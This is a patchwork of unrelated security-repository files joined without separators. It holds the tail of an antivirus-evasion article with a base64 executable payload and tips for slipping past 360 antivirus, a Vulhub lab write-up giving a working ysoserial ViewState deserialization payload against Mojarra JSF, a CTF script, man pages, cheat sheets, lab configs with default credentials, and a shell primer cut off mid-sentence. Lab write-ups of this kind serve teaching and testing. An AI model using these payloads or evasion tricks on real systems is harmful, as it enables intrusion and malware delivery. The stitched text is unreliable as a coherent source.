"TVroAAAAAFtSRVWJ5YHDcoAAAP/TicNXaAQAAABQ/9Bo8LWiVmgFAAAAUP/TAAAAAAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACf0hwW27NyRduzckXbs3JFZvzkRdqzckXF4fZF8rNyRcXh50XIs3JFxeHxRVqzckX8dQlF1LNyRduzc0UGs3JFxeH7RWKzckXF4eBF2rNyRcXh40Xas3JFUmljaNuzckUAAAAAAAAA" ``` 注释已经写的很清楚了,我们也只需要替换这2处,建议不要用rundll32.exe了 这个某60直接秒了,当然是杀的这个code,所以只需要简单的变化它就认不出来了。 于此同类的还有 https://github.com/mdsecactivebreach/SharpShooter https://github.com/ridter/AMSI_bypass # 0x02 文末 ### 本文如有错误,请及时提醒,以免误导他人
sec-knowleage
import codecs from PIL import Image def convert_color(color): red = (240, 110, 120, "red") green = (40, 240, 175, "green") blue = (85, 110, 240, "blue") cyan = (70, 215, 240, "cyan") yellow = (235, 230, 150, "yellow") orange = (230, 200, 130, "orange") white = (220, 220, 240, "white") purple = (230, 150, 240, "purple") colors = [red, green, blue, cyan, yellow, orange, white, purple] best_match = (255 * 3, "lol") for c in colors: diff = color_delta(c, color) if diff < best_match[0]: best_match = diff, c[3] return best_match[1] def color_delta(c1, c2): diff = 0 for i in range(3): diff += abs(c1[i] - c2[i]) return diff def similar_color(c1, c2): return [abs(c1[i] - c2[i]) for i in range(3)] def handle_orange_and_yellow(pixels, column, row): size_x = 20 size_y = 20 greens = [] for delta_x in range(-size_x, size_x): for delta_y in range(-size_y, size_y): color = pixels[column + delta_x, row + delta_y] grey = (130, 130, 130) white = (255, 255, 255) if max(similar_color(grey, color)) < 20: continue if max(similar_color(white, color)) < 100: continue greens.append(color[1]) x = sorted(greens)[int(len(greens) * 0.75)] if x <= 230: return "orange" else: return "yellow" def main(): colors = ["red", "orange", "yellow", "green", "cyan", "blue", "purple", "white"] lu = (396, 124) ld = (406, 619) rd = (892, 609) ru = (888, 121) prev = [] printed = False with codecs.open("out.txt", "w") as output_file: import sys file_path = sys.argv[1] img = Image.open(file_path) pixels = img.load() result = [] for row_id in range(8): rows = [] for col_id in range(8): col1 = (ld[0] * row_id / 7.0 + lu[0] * (1 - row_id / 7.0)) col2 = (rd[0] * row_id / 7.0 + ru[0] * (1 - row_id / 7.0)) column = int(col1 + (col2 - col1) / 7.0 * col_id) row1 = (ru[1] * col_id / 7.0 + lu[1] * (1 - col_id / 7.0)) row2 = (rd[1] * col_id / 7.0 + ld[1] * (1 - col_id / 7.0)) row = int(row1 + (row2 - row1) / 7.0 * row_id) sum = (0, 0, 0) size_x = 20 size_y = 20 cnt = 0 for delta_x in range(-size_x, size_x): for delta_y in range(-size_y, size_y): color = pixels[column + delta_x, row + delta_y] grey = (130, 130, 130) if max(similar_color(grey, color)) < 40: continue # pixels[column + delta_x, row + delta_y] = (0, 0, 0) sum = (sum[0] + color[0], sum[1] + color[1], sum[2] + color[2]) cnt += 1 divisor = cnt avg = (sum[0] / divisor, sum[1] / divisor, sum[2] / divisor) result_color = convert_color(avg) if result_color in ["orange", "yellow"]: print "Handle", row_id, col_id result_color = handle_orange_and_yellow(pixels, column, row) # rows.append((result_color)) rows.append(colors.index(result_color)) result.append(rows) data = "[" + ",".join([",".join(map(str, r)) for r in result]) + "]" output_file.write(data + "\n") print(data) printed = True prev = result # img.show() # print("\n".join(map(str, result))) # print("\n") pass main()
sec-knowleage
lspci === 显示当前主机的所有PCI总线信息 ## 补充说明 **lspci命令** 用于显示当前主机的所有PCI总线信息,以及所有已连接的PCI设备信息。 ### 语法 ```shell lspci(选项) ``` ### 选项 ```shell -n:以数字方式显示PCI厂商和设备代码; -t:以树状结构显示PCI设备的层次关系,包括所有的总线、桥、设备以及它们之间的联接; -b:以总线为中心的视图; -d:仅显示给定厂商和设备的信息; -s:仅显示指定总线、插槽上的设备和设备上的功能块信息; -i:指定PCI编号列表文件,而不使用默认的文件; -m:以机器可读方式显示PCI设备信息。 ``` ### 实例 ```shell [root@localhost ~]# lspci 00:00.0 host bridge: Intel Corporation 5500 I/O Hub to ESI Port (rev 22) 00:01.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 1 (rev 22) 00:02.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 2 (rev 22) 00:03.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 3 (rev 22) 00:07.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 7 (rev 22) 00:08.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 8 (rev 22) 00:09.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 9 (rev 22) 00:0a.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 10 (rev 22) 00:10.0 PIC: Intel Corporation 5520/5500/X58 Physical and Link Layer Registers Port 0 (rev 22) 00:10.1 PIC: Intel Corporation 5520/5500/X58 Routing and Protocol Layer Registers Port 0 (rev 22) 00:11.0 PIC: Intel Corporation 5520/5500 Physical and Link Layer Registers Port 1 (rev 22) 00:11.1 PIC: Intel Corporation 5520/5500 Routing & Protocol Layer Register Port 1 (rev 22) 00:14.0 PIC: Intel Corporation 5520/5500/X58 I/O Hub System Management Registers (rev 22) 00:14.1 PIC: Intel Corporation 5520/5500/X58 I/O Hub GPIO and Scratch Pad Registers (rev 22) 00:14.2 PIC: Intel Corporation 5520/5500/X58 I/O Hub Control Status and RAS Registers (rev 22) 00:14.3 PIC: Intel Corporation 5520/5500/X58 I/O Hub Throttle Registers (rev 22) 00:16.0 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22) 00:16.1 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22) 00:16.2 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22) 00:16.3 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22) 00:16.4 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22) 00:16.5 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22) 00:16.6 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22) 00:16.7 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22) 00:1a.0 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #4 00:1a.1 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #5 00:1a.7 USB controller: Intel Corporation 82801JI (ICH10 Family) USB2 EHCI Controller #2 00:1b.0 Audio device: Intel Corporation 82801JI (ICH10 Family) HD Audio Controller 00:1c.0 PCI bridge: Intel Corporation 82801JI (ICH10 Family) PCI Express Root Port 1 00:1c.4 PCI bridge: Intel Corporation 82801JI (ICH10 Family) PCI Express Root Port 5 00:1c.5 PCI bridge: Intel Corporation 82801JI (ICH10 Family) PCI Express Root Port 6 00:1d.0 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #1 00:1d.1 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #2 00:1d.2 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #3 00:1d.3 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #6 00:1d.7 USB controller: Intel Corporation 82801JI (ICH10 Family) USB2 EHCI Controller #1 00:1e.0 PCI bridge: Intel Corporation 82801 PCI Bridge (rev 90) 00:1f.0 ISA bridge: Intel Corporation 82801JIR (ICH10R) lpc Interface Controller 00:1f.2 IDE interface: Intel Corporation 82801JI (ICH10 Family) 4 port SATA IDE Controller #1 00:1f.3 SMBus: Intel Corporation 82801JI (ICH10 Family) SMBus Controller 00:1f.5 IDE interface: Intel Corporation 82801JI (ICH10 Family) 2 port SATA IDE Controller #2 01:01.0 VGA compatible controller: ASPEED Technology, Inc. ASPEED Graphics Family (rev 10) 02:00.0 Ethernet controller: Intel Corporation 82574L Gigabit Network Connection 03:00.0 Ethernet controller: Intel Corporation 82574L Gigabit Network Connection 04:00.0 Serial Attached SCSI controller: LSI Logic / Symbios Logic SAS2008 PCI-Express Fusion-MPT SAS-2 [Falcon] (rev 03) ```
sec-knowleage
<?php /* +-------------------------------------------------------------------------+ | Copyright (C) 2004-2020 The Cacti Group | | | | This program is free software; you can redistribute it and/or | | modify it under the terms of the GNU General Public License | | as published by the Free Software Foundation; either version 2 | | of the License, or (at your option) any later version. | | | | This program is distributed in the hope that it will be useful, | | but WITHOUT ANY WARRANTY; without even the implied warranty of | | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | | GNU General Public License for more details. | +-------------------------------------------------------------------------+ | Cacti: The Complete RRDtool-based Graphing Solution | +-------------------------------------------------------------------------+ | This code is designed, written, and maintained by the Cacti Group. See | | about.php and/or the AUTHORS file for specific developer information. | +-------------------------------------------------------------------------+ | http://www.cacti.net/ | +-------------------------------------------------------------------------+ */ /* * Make sure these values reflect your actual database/host/user/password */ $database_type = 'mysql'; $database_default = 'cacti'; $database_hostname = 'db'; $database_username = 'root'; $database_password = 'root'; $database_port = '3306'; $database_retries = 5; $database_ssl = false; $database_ssl_key = ''; $database_ssl_cert = ''; $database_ssl_ca = ''; $database_persist = false; /* * The poller_id of this system. set to `1` for the main cacti web server. * Otherwise, you this value should be the poller_id for the remote poller. */ $poller_id = 1; /* * Set the $url_path to point to the default URL of your cacti install. * For example if your cacti install as at `https://serverip/cacti/` this * would be set to `/cacti/`. */ $url_path = '/'; /* * Default session name - session name must contain alpha characters */ $cacti_session_name = 'Cacti'; /* * Default Cookie domain - The cookie domain to be used for Cacti */ //$cacti_cookie_domain = 'cacti.net'; /* * Save sessions to a database for load balancing */ $cacti_db_session = false; /* * Disable log rotation settings for packagers */ $disable_log_rotation = false;
sec-knowleage
--- title: Proto.io date: 2022-11-23 16:23:31.694775 background: bg-[#5697a9] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 48 keyboard shortcuts found in Proto.io --- Keyboard Shortcuts ------------------ ### Main Shortcut | Action ---|--- `Ctrl` `F` | Find `Ctrl` `K` | Show keyboard shortcuts `Ctrl` `S` | Save `Esc` | Close modal windows `Shift` `P` | Preview `Ctrl` `Shift` `S` | Save and Preview {.shortcuts} ### History Shortcut | Action ---|--- `Ctrl` `Z` | Undo `Ctrl` `Shift` `Z` | Redo `Ctrl` `[` | Go to previous canvas `Ctrl` `]` | Go to next canvas {.shortcuts} ### Edit Shortcut | Action ---|--- `Ctrl` `A` | Select all `Ctrl` `X` | Cut `Ctrl` `C` | Copy `Ctrl` `V` | Paste `Ctrl` `D` | Duplicate `Backspace` | Delete {.shortcuts} ### Grid Shortcut | Action ---|--- `Ctrl` `'` | Toggle grid `Ctrl` `\` | Toggle grid system `Ctrl` `;` | Toggle custom guides `Ctrl` `L` | Toggle smart guides `Alt` | Toggle snap to grid on drag or resize {.shortcuts} ### View Shortcut | Action ---|--- `Ctrl` `+` | Zoom in `Ctrl` `-` | Zoom out `Ctrl` `0` | Zoom to 100% `Ctrl` `1` | Fit to screen `Ctrl` `2` | Zoom to selected layers, or fit all layers if none selected `Ctrl` `3` | Center selected layer(s) in the canvas, or center on screen if none selected `Ctrl` `Right` | Toggle right pane `Ctrl` `Left` | Toggle left pane `Space` | Pan canvas while keydown {.shortcuts} ### Item Shortcut | Action ---|--- `Ctrl` `Up` | Bring to front `Ctrl` `Down` | Send to back `Ctrl` `Shift` `Up` | Bring forward `Ctrl` `Shift` `Down` | Send backwards `(arrows)` | Move item `Shift` `(arrows)` | Snap item `Shift` | Lock drag direction (hold while dragging) `R` | Insert rectangle `O` | Insert oval `L` | Insert line `T` | Insert text `I` | Insert interaction area `Enter` | Enter selected container {.shortcuts} ### Group Shortcut | Action ---|--- `Ctrl` `G` | Group selected `Ctrl` `Shift` `G` | Ungroup selected {.shortcuts} ### States Preview Shortcut | Action ---|--- `Space` | Play or pause state transition `.` | Forward state transition `,` | Rewind state transition {.shortcuts} Also see -------- - [Keyboard shortcuts for Proto.io](https://support.proto.io/hc/en-us/articles/115001423511-Keyboard-shortcuts) _(support.proto.io)_
sec-knowleage
--- title: C# date: 2021-12-14 12:22:00 background: bg-[#8c4c8a] tags: - object-oriented - class categories: - Programming intro: | C# quick reference cheat sheet that provides basic syntax and methods. plugins: - copyCode --- Getting Started -------- ### Hello.cs ```cs class Hello { // main method static void Main(string[] args) { // Output: Hello, world! Console.WriteLine("Hello, world!"); } } ``` Compiling and running (make sure you are in the project directory) ```shell script $ dotnet run Hello, world! ``` ### Variables ```cs int intNum = 9; long longNum = 9999999; float floatNum = 9.99F; double doubleNum = 99.999; decimal decimalNum = 99.9999M; char letter = 'D'; bool @bool = true; string site = "quickref.me"; var num = 999; var str = "999"; var bo = false; ``` ### Primitive Data Types | Data Type | Size | Range | | --------- | ---------------- | ----------------------- | | `int` | 4 bytes | -2^31^ ^to^ 2^31^-1 | | `long` | 8 bytes | -2^63^ ^to^ 2^63^-1 | | `float` | 4 bytes | 6 ^to^ 7 decimal digits | | `double` | 8 bytes | 15 decimal digits | | `decimal` | 16 bytes | 28 ^to^ 29 decimal digits | | `char` | 2 bytes | 0 ^to^ 65535 | | `bool` | 1 bit | true / false | | `string` | 2 bytes per char | _N/A_ | {.show-header} ### Comments ```cs // Single-line comment /* Multi-line comment */ // TODO: Adds comment to a task list in Visual Studio /// Single-line comment used for documentation /** Multi-line comment used for documentation **/ ``` ### Strings ```cs string first = "John"; string last = "Doe"; // string concatenation string name = first + " " + last; Console.WriteLine(name); // => John Doe ``` See: [Strings](#c-strings) ### User Input ```cs Console.WriteLine("Enter number:"); if(int.TryParse(Console.ReadLine(),out int input)) { // Input validated Console.WriteLine($"You entered {input}"); } ``` ### Conditionals ```cs int j = 10; if (j == 10) { Console.WriteLine("I get printed"); } else if (j > 10) { Console.WriteLine("I don't"); } else { Console.WriteLine("I also don't"); } ``` ### Arrays ```cs char[] chars = new char[10]; chars[0] = 'a'; chars[1] = 'b'; string[] letters = {"A", "B", "C"}; int[] mylist = {100, 200}; bool[] answers = {true, false}; ``` ### Loops ```cs int[] numbers = {1, 2, 3, 4, 5}; for(int i = 0; i < numbers.Length; i++) { Console.WriteLine(numbers[i]); } ``` --- ```cs foreach(int num in numbers) { Console.WriteLine(num); } ``` C# Strings ---------------- ### String concatenation ```cs string first = "John"; string last = "Doe"; string name = first + " " + last; Console.WriteLine(name); // => John Doe ``` ### String interpolation ```cs string first = "John"; string last = "Doe"; string name = $"{first} {last}"; Console.WriteLine(name); // => John Doe ``` ### String Members {.row-span-2} | Member | Description | |------------ |-------------| | Length | A property that returns the length of the string. | | Compare() | A static method that compares two strings. | | Contains() | Determines if the string contains a specific substring. | | Equals() | Determines if the two strings have the same character data. | | Format() | Formats a string via the {0} notation and by using other primitives. | | Trim() | Removes all instances of specific characters from trailing and leading characters. Defaults to removing leading and trailing spaces. | | Split() | Removes the provided character and creates an array out of the remaining characters on either side. | {.show-header} ### Verbatim strings ```cs {.wrap} string longString = @"I can type any characters in here !#@$%^&*()__+ '' \n \t except double quotes and I will be taken literally. I even work with multiple lines."; ``` ### Member Example ```cs // Using property of System.String string lengthOfString = "How long?"; lengthOfString.Length // => 9 // Using methods of System.String lengthOfString.Contains("How"); // => true ``` Misc ----------- ### General .NET Terms {.col-span-2} | Term | Definition | |------------|------------| | Runtime | A collection of services that are required to execute a given compiled unit of code. | | Common Language Runtime (CLR) | Primarily locates, loads, and managed .NET objects. The CLR also handles memory management, application hosting, coordination of threads, performaing security checks, and other low-level details. | | Managed code | Code that compiles and runs on .NET runtime. C#/F#/VB are examples. | | Unmanaged code | Code that compiles straight to machine code and cannot be directly hosted by the .NET runtime. Contains no free memory management, garbage collection, etc. DLLs created from C/C++ are examples. | {.show-header}
sec-knowleage
bunzip2 === 可解压缩.bz2格式的压缩文件。 ## 补充说明 bzip2可以对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令,只能对文件进行压缩。对于目录只能压缩目录下的所有文件,压缩完成后,在目录下生成以“.bz2”为后缀的压缩包。**bunzip2其实是bzip2的符号链接**,即软链接,因此解压都可以通过bzip2 -d实现。 ### 语法 ```shell bunzip2(选项)(参数) ``` ### 选项 ```shell -f或--force:解压缩时,若输出的文件与现有文件同名时,预设不会覆盖现有的文件; -k或——keep:在解压缩后,预设会删除原来的压缩文件。若要保留压缩文件,请使用此参数; -s或——small:降低程序执行时,内存的使用量; -v或——verbose:解压缩文件时,显示详细的信息; -l,--license,-V或——version:显示版本信息。 ``` ### 参数 .bz2压缩包:指定需要解压缩的.bz2压缩包。 ### 实例 将`/opt`目录下的etc.zip、var.zip和backup.zip进行压缩,设置压缩率为最高,同时在压缩完毕后不删除原始文件,显示压缩过程的详细信息。 ```shell bzip2 -9vk /opt/etc.zip /opt/var.zip /opt/backup.zip ``` 压缩完毕后,在`/opt`下就会生成相应的etc.zip.bz2、var.zip.bz2和backup.zip.bz2文件。 解压缩: ```bash bunzip2 -v /opt/etc.zip.bz2 ```
sec-knowleage
# Mojarra JSF ViewState 反序列化漏洞 JavaServer Faces (JSF) 是一种用于构建 Web 应用程序的标准,Mojarra是一个实现了JSF的框架。在其2.1.29-08、2.0.11-04版本之前,没有对JSF中的ViewState进行加密,进而导致攻击者可以构造恶意的序列化ViewState对象对服务器进行攻击。 参考链接: - https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html - https://www.exploit-db.com/docs/48126 - https://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf ## 环境搭建 执行如下命令启动一个使用了JDK7u21和mojarra 2.1.28的JSF应用: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8080`即可查看到demo页面。 ## 漏洞复现 JSF的ViewState结构如下: ![](1.png) 根据这个结构,我们使用ysoserial的Jdk7u21利用链来生成一段合法的Payload: ``` $ java -jar ysoserial-master-SNAPSHOT.jar Jdk7u21 "touch /tmp/success" | gzip | base64 -w 0 H4sIAAVGF18AA61WzW8bRRR/Yye2Y9zmo/lsaZvQlnxAd/PlJsURbT5Ia3BIhNNUwocwXk/sbde7293ZZINEb/wBCJX/AJBoOPRCqx6QKm4tFyQkUFEluHADDhUSFz7e7G5iKwnYLV1pd2bf17z35jdv3tYv0Ghb0HWFrlPJ4aomZVT9KitcpHYpy/j32ndv33g0dCwE4FrQWpEK+Hfn3r/x0Z3b42HkmxsJAGg5dx7EE0KrryhGWbIdXTKsokRNqpSY5FKN6pKqc2bpVJNcW+OKxC3qSsusbGqUMzuNY9PlxXv61s2xMETScGBV1QtM52865Tyz0nBwFRV0W2M8jXQ3B/HV/CZnilFgNodwLjeTg8iqolEbf9tyGeG2jMsW5VlBS2WgcVWnZYbMKl6WW6peRGbrquFw0+FLlmEyi6vCaKcvKGKXK/SUa4pY/8bHsbyF3/izp6NY/GFCJEzwQkgP5Wa2Hnf9EYkt/xiQI5/d/+vul8gehbNxCMMLUZiIwqkovEigxWaWSrUVZtmqoV9KzxEgrxM4MGvoNqc6X6Gawxo/7/3w8QePfnuVQGRK1VWOk/DA4AqBhlnMAoFm3Ebm52uZ5jWktGUMBc1SNI7/AbGBl1SbwKEsd/LLQU6X6KZm0AKBRFrXmeWljKFQMrNpG75zsunL2H5CLtBCkXH75D5WUgSavM1aM6wyAWsgg5iQERMyYkL2MSF7mJC3MSF7mJDnFhdSuX2ly1pF1vdHfZdZcjaYUo55u0j1gsaslEhJrGAoThnxQ+D0Ey2PqiXfDoY/8/+dIRB/zVWYKWh2FPoJfPJk+ajpQYGX5bnlhWlXtdNIotywaivVlUM1MCdw8DReEIgGuSQw/SwymTUcS2HzqoBxIkCgJA5pAuLwXBQGCIw9BWAJnK93RyxH52qZydN5GyGu8G1LBNq9YqEaFee903a2XsvblnbQQuB4jVhwi6YULSgFrZWq9pbvZBSGMGcoGPwT6BgYzOwRSyXgZTgdh5dAworBDUcp9cq8bKLXisJsOwbDWDSYyxQC/QN7i2e1SSyTQgVNjsKYMDmOVSzLqXJ1gZpB/amKamkDi83oxPBIMpmcnBgZGR8Zm0CNvkwNkRT0QQhrKPqF72FohAiOUVF7IebREA74FZeTjCPBsXHoNpBbnsgB/EY8ogwH8ZvwBaAZJnHE0gjtKCWUz+EbFrTdiuOeYq/PDBTFrAM6PT6BLuhGjR6c+z4Ks0cCs2mPuo/ZSc/skM/c1+zzcBQ1xOwYHMflKwvEYHAn6JPIEVLNn0KYZO6A3DbyBSQv3/IUz3hBESHR663fB604xpEVghPQAk3ONbiOtoB8u3NnHRF3VkcUuqLQHYWeeu+saz+rv06VL3Q/mzsrPG8Ye+6oUzXvKNSqp3ocJnCiDlMYegXwi/krTPn301/rBP8njkn9OJ7aheM2j3/I+7ZX7W6n2F2TQwMeK8vcIODa73mYOCr8dyUsyNLO1V3pztztblHELFlsTcOgJTzs7uZP/Q97v26ZfRACkgFS4rgdlewEknJaX8dNrS7mrom94qjoE7etUV03uCcjTe9M9yheuv97c8eD6x+HIJSBRJkJ4HhIw36tuapfw3KDXV0D3zSx42vd0w16y+9qbVGlMfrw3led73yDR2Me4mK75rHGG9h+NvGSxeySoRVcM+h2Exsx0fuK9HGIrSVpkp4ZnhQnJ+auWzUyCpXHNd1/AEKwhdeSCwAA ``` 然后,我们提交表单并抓包,修改其中`javax.faces.ViewState`字段的值为上述Payload(别忘了URL编码): ![](2.png) `touch /tmp/success`已成功执行: ![](3.png)
sec-knowleage
version: '3' services: node1: image: vulhub/minio:2023-02-27T18-10-45Z environment: - MINIO_ROOT_USER=minioadmin - MINIO_ROOT_PASSWORD=minioadmin-vulhub command: - minio - server - --console-address - :9001 - http://node1:9000/mnt/data1 - http://node2:9000/mnt/data2 - http://node3:9000/mnt/data3 ports: - 9000:9000 - 9001:9001 hostname: node1 volumes: - ./mnt/data1:/mnt/data1 node2: image: vulhub/minio:2023-02-27T18-10-45Z environment: - MINIO_ROOT_USER=minioadmin - MINIO_ROOT_PASSWORD=minioadmin-vulhub command: - minio - server - http://node1:9000/mnt/data1 - http://node2:9000/mnt/data2 - http://node3:9000/mnt/data3 hostname: node2 volumes: - ./mnt/data2:/mnt/data2 node3: image: vulhub/minio:2023-02-27T18-10-45Z environment: - MINIO_ROOT_USER=minioadmin - MINIO_ROOT_PASSWORD=minioadmin-vulhub command: - minio - server - http://node1:9000/mnt/data1 - http://node2:9000/mnt/data2 - http://node3:9000/mnt/data3 hostname: node3 volumes: - ./mnt/data3:/mnt/data3
sec-knowleage
'\" t .TH "SYSTEMD\-NOTIFY" "1" "" "systemd 231" "systemd-notify" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" systemd-notify \- 向 systemd 报告服务状态的变化 .SH "SYNOPSIS" .HP \w'\fBsystemd\-notify\ \fR\fB[OPTIONS...]\fR\fB\ \fR\fB[VARIABLE=VALUE...]\fR\ 'u \fBsystemd\-notify \fR\fB[OPTIONS...]\fR\fB \fR\fB[VARIABLE=VALUE...]\fR .SH "描述" .PP \fBsystemd\-notify\fR 可用于 在守护进程脚本中向 systemd 报告进程状态的变化。 可用于发送任意信息, 其中最重要的是 报告"启动已完成"的消息。 .PP 此工具基本上就是对 \fBsd_notify()\fR 的简单包装, 以便于在脚本中使用。详见 \fBsd_notify\fR(3) 手册。 .PP 注意,在报告状态更新的同时, 还可以传递一系列环境变量。 .PP 注意, 除非在调用此命令的服务单元中设置了 \fINotifyAccess=all\fR , 否则 systemd 将会拒绝接受状态更新的消息。 .SH "选项" .PP 能够识别的命令行选项如下: .PP \fB\-\-ready\fR .RS 4 向 systemd 报告"启动已完成"的消息。 这等价于 \fBsystemd\-notify READY=1\fR 。 详见 \fBsd_notify\fR(3) 手册。 .RE .PP \fB\-\-pid=\fR .RS 4 向 systemd 报告主守护进程的 PID 。 如果 PID 参数被省略, 将使用调用 \fBsystemd\-notify\fR 的进程的 PID 。 这等价于 \fBsystemd\-notify MAINPID=$PID\fR 。 详见 \fBsd_notify\fR(3) 手册。 .RE .PP \fB\-\-status=\fR .RS 4 向 systemd 发送一个任意内容的字符串消息。 这等价于 \fBsystemd\-notify STATUS=\&.\&.\&.\fR 。 详见 \fBsd_notify\fR(3) 手册。 .RE .PP \fB\-\-booted\fR .RS 4 用于检查系统的 init 进程是否为 systemd , 返回 0 表示系统的 init 进程是 systemd ,返回非零表示其他。 此选项并不发送任何消息,因此与其他选项没有任何关系。 详见 \fBsd_booted\fR(3) 手册。 另一种检查方法是 \fBsystemctl\fR(1) 的 \fBis\-system\-running\fR 命令。 若返回 "offline" 则表示系统的 init 进程不是 systemd .RE .PP \fB\-h\fR, \fB\-\-help\fR .RS 4 显示简短的帮助信息并退出。 .RE .PP \fB\-\-version\fR .RS 4 显示简短的版本信息并退出。 .RE .SH "退出状态" .PP 返回值为 0 表示成功, 非零返回值表示失败代码。 .SH "例子" .PP \fBExample\ \&1.\ \&启动通知与状态更新\fR .PP 一个简单的守护进程脚本,在创建好通信管道之后, 向 systemd 报告"启动已完成"的消息。在运行时, 向 systemd 报告更多的状态消息: .sp .if n \{\ .RS 4 .\} .nf #!/bin/bash mkfifo /tmp/waldo systemd\-notify \-\-ready \-\-status="Waiting for data\&.\&.\&." while : ; do read a < /tmp/waldo systemd\-notify \-\-status="Processing $a" # Do something with $a \&.\&.\&. systemd\-notify \-\-status="Waiting for data\&.\&.\&." done .fi .if n \{\ .RE .\} .SH "参见" .PP \fBsystemd\fR(1), \fBsystemctl\fR(1), \fBsystemd.unit\fR(5), \fBsd_notify\fR(3), \fBsd_booted\fR(3) .\" manpages-zh translator: 金步国 .\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
sec-knowleage
restore === 所进行的操作和dump指令相反 ## 补充说明 **restore命令** 是dump命令的逆过程,用于还原dump命令生成的备份文件。倾倒操作可用来备份文件,而还原操作则是写回这些已备份的文件。 ### 语法 ```shell restore(选项) ``` ### 选项 ```shell -b<区块大小>:设置区块大小,单位为Byte; -c:不检查倾倒操作的备份格式,仅准许读取使用旧格式的备份文件; -C:使用对比模式,将备份的文件与现行的文件相互对比; -D<文件系统>:允许用户指定文件系统的名称; -f<备份文件>:从指定的文件中读取备份数据,进行还原操作; -h:仅解除目录而不包括与该目录相关的所有文件; -i:使用互动模式,在进行还原操作时,restore指令将依序询问用户; -m:解开符合指定的inode编号的文件或目录而非用文件名称指定; -r:进行还原操作; -R:全面还原文件系统时,检查应从何处开始进行; -s<文件编号>:当备份数据超过一卷磁带时,用户可以指定备份文件的编号; -t:指定文件名称,若该文件已存在备份文件中,则列出它们的名称; -v:显示指令执行过程; -x:设置文件名称,且从指定的存储媒体里读入它们,若该文件已存在在备份文件中,则将其还原到文件系统内; -y:不询问任何问题,一律以同意回答并继续执行指令。 ``` ### 实例 ```shell dump -9 -u -f /dev/hda3 /home/frank/ ``` 用restore命令来恢复备份: ```shell restore rf /dev/hda3 /home/frank ``` 用restore命令来查看备份文件里的文件列表: ```shell restore ft /dev/hda3 ```
sec-knowleage
# Shell 基础 Shell 是 Linux 上的一个程序(用 C 语言编写),类似于 Window 上的 DOS,不过比 DOS 强大的多。Shell 既是一种命令语言,又是一种程序设计语言。 实际上Shell是一个命令解释器,它解释由用户输入的命令并且把它们送到内核。不仅如此,Shell有自己的编程语言用于对命令的编辑,它允许用户编写由shell命令组成的程序 ### shell版本 每个Linux系统的用户可以拥有他自己的用户界面或Shell,想看看你的Shell是哪一种,执行下面的命令 ``` echo $SHELL ``` ### 运行 Shell scripts 有两种方法: - 作为可执行程序 将上面的代码保存为 test.sh,并 cd 到相应目录: ``` chmod +x ./test.sh #使脚本具有执行权限 ./test.sh #执行脚本 ``` 注意,一定要写成 `./test.sh`,而不是 `test.sh`,运行其它二进制的程序也一样,直接写 `test.sh`,linux 系统会去 PATH 里寻找有没有叫 `test.sh` 的,而只有 `/bin`, `/sbin`, `/usr/bin`,`/usr/sbin` 等在 PATH 里,你的当前目录通常不在 PATH 里,所以写成 `test.sh` 是会找不到命令的,要用 `./test.sh` 告诉系统说,就在当前目录找。 - 作为解释器参数 这种运行方式是,直接运行解释器,其参数就是 shell 脚本的文件名,如: ``` /bin/sh test.sh /bin/php test.php ``` 这种方式运行的脚本,不需要在第一行指定解释器信息,写了也没用 ### shell scripts 的使用 Shell Script是一种弱类型语言,就像是早期 DOS 年代的批次檔 (.bat) #### 例子:一段简单的 Shell 我们创建一个简单的 Shell 程序,实现以下功能 - 在用户主目录下创建一个 test 文件夹 - 在用户主目录下创建 10 个规定命名格式的空文件 ```shell #!/bin/bash cd ~ mkdir test for ((i=0; i<10; i++)) do touch test_$i.txt done ``` 翻译上面代码 1. 